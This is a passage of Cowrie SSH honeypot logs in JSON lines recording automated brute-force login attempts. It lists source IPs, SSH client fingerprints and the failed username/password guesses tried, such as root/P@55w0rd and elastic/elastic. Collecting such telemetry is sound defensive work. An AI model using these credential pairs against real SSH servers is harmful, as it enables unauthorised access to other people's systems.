-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:44.176826Z","src_ip":"94.154.34.232","session":"bb94a1c4b1e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2022!","message":"login attempt [root/Welcome2022!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:44.693704Z","src_ip":"94.154.34.232","session":"bb94a1c4b1e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:45.830221Z","src_ip":"94.154.34.232","session":"bb94a1c4b1e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":45764,"dst_ip":"10.17.0.5","dst_port":22,"session":"1acec202fd9a","protocol":"ssh","message":"New connection: 78.40.37.143:45764 (10.17.0.5:22) [session: 1acec202fd9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:46.519850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:46.523973Z","src_ip":"78.40.37.143","session":"1acec202fd9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:46.605907Z","src_ip":"78.40.37.143","session":"1acec202fd9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"free","message":"login attempt [root/free] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:46.964574Z","src_ip":"78.40.37.143","session":"1acec202fd9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:48.047818Z","src_ip":"78.40.37.143","session":"1acec202fd9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.3","message":"Connection lost after 17.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:55.186011Z","src_ip":"115.29.34.90","session":"34bd0a54dd17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":35504,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2df8ab5f2d3","protocol":"ssh","message":"New connection: 103.75.199.4:35504 (159.203.135.109:22) [session: f2df8ab5f2d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:57.475109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:57.481076Z","src_ip":"103.75.199.4","session":"f2df8ab5f2d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:57.573462Z","src_ip":"103.75.199.4","session":"f2df8ab5f2d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:57.849361Z","src_ip":"103.75.199.4","session":"f2df8ab5f2d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:35:58.944531Z","src_ip":"103.75.199.4","session":"f2df8ab5f2d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48788,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f06ddcd3f01","protocol":"ssh","message":"New connection: 103.75.199.4:48788 (159.203.135.109:22) [session: 9f06ddcd3f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:19.340389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:19.345383Z","src_ip":"103.75.199.4","session":"9f06ddcd3f01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:19.436791Z","src_ip":"103.75.199.4","session":"9f06ddcd3f01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:19.710430Z","src_ip":"103.75.199.4","session":"9f06ddcd3f01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:20.809362Z","src_ip":"103.75.199.4","session":"9f06ddcd3f01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":41290,"dst_ip":"159.203.135.109","dst_port":22,"session":"c936e7f749b5","protocol":"ssh","message":"New connection: 103.75.199.4:41290 (159.203.135.109:22) [session: c936e7f749b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:41.279349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:41.283933Z","src_ip":"103.75.199.4","session":"c936e7f749b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:41.375093Z","src_ip":"103.75.199.4","session":"c936e7f749b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:41.649523Z","src_ip":"103.75.199.4","session":"c936e7f749b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:42.744435Z","src_ip":"103.75.199.4","session":"c936e7f749b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":47342,"dst_ip":"10.17.0.5","dst_port":22,"session":"02405566faa7","protocol":"ssh","message":"New connection: 78.40.37.143:47342 (10.17.0.5:22) [session: 02405566faa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:53.265786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:53.269904Z","src_ip":"78.40.37.143","session":"02405566faa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:53.348849Z","src_ip":"78.40.37.143","session":"02405566faa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ@WSX1qaz2wsx","message":"login attempt [root/!QAZ@WSX1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:53.701601Z","src_ip":"78.40.37.143","session":"02405566faa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:54.785812Z","src_ip":"78.40.37.143","session":"02405566faa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":34492,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa48f3480fdb","protocol":"ssh","message":"New connection: 94.154.34.232:34492 (10.17.0.5:22) [session: aa48f3480fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:55.340560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:55.345067Z","src_ip":"94.154.34.232","session":"aa48f3480fdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:55.465937Z","src_ip":"94.154.34.232","session":"aa48f3480fdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin#2025","message":"login attempt [root/Admin#2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:55.983207Z","src_ip":"94.154.34.232","session":"aa48f3480fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:36:57.107229Z","src_ip":"94.154.34.232","session":"aa48f3480fdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":39230,"dst_ip":"159.203.135.109","dst_port":22,"session":"4af58e21edcf","protocol":"ssh","message":"New connection: 103.75.199.4:39230 (159.203.135.109:22) [session: 4af58e21edcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:03.164747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:03.169791Z","src_ip":"103.75.199.4","session":"4af58e21edcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:03.265412Z","src_ip":"103.75.199.4","session":"4af58e21edcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:03.552778Z","src_ip":"103.75.199.4","session":"4af58e21edcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:04.650405Z","src_ip":"103.75.199.4","session":"4af58e21edcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52334,"dst_ip":"159.203.135.109","dst_port":22,"session":"421a5db227d2","protocol":"ssh","message":"New connection: 103.75.199.4:52334 (159.203.135.109:22) [session: 421a5db227d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:25.056751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:25.063014Z","src_ip":"103.75.199.4","session":"421a5db227d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:25.155928Z","src_ip":"103.75.199.4","session":"421a5db227d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:25.432843Z","src_ip":"103.75.199.4","session":"421a5db227d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:26.528027Z","src_ip":"103.75.199.4","session":"421a5db227d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53678,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ba6122a2580","protocol":"ssh","message":"New connection: 103.75.199.4:53678 (159.203.135.109:22) [session: 0ba6122a2580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:46.929800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:37:46.936786Z","src_ip":"103.75.199.4","session":"0ba6122a2580","protocol":"ssh"}
